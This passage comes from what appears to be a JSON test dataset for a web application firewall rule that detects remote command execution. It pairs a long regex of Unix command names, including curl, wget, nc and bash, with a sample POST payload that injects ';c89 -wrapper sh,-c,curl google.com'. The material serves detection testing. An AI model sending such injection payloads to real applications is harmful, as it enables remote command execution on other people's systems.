"part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\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a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(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|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "55O5COJ5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;c89 -wrapper sh,-c,curl\\ google.com .\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx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more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|